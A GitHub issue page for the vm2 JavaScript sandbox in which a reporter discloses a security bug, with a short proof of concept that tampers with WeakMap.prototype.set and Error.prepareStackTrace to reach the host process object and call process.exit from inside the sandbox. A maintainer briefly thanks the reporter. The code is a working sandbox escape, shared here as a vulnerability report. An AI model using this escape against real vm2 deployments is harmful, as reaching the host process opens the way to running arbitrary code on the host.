Skip to content
This repository has been archived by the owner on Jan 1, 2025. It is now read-only.

Security Issue #444

Closed
kagesakura opened this issue Jul 5, 2022 · 1 comment
Closed

Security Issue #444

kagesakura opened this issue Jul 5, 2022 · 1 comment

Comments

@kagesakura
Copy link

const { VM } = require('vm2');
new VM().run(`
  const { set } = WeakMap.prototype;
  WeakMap.prototype.set = function(v) {
    return set.call(this, v, v);
  };
  Error.prepareStackTrace =
  Error.prepareStackTrace =
  (_, c) => c.map(c => c.getThis()).find(a => a);
  const { stack } = new Error();
  Error.prepareStackTrace = undefined;
  stack.process.exit(1);
`);

// Never gets executed.
console.log('Finished');
@XmiliaH
Copy link
Collaborator

XmiliaH commented Jul 5, 2022

Thanks for reporting this issue.

# for free to subscribe to this conversation on GitHub. Already have an account? #.
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants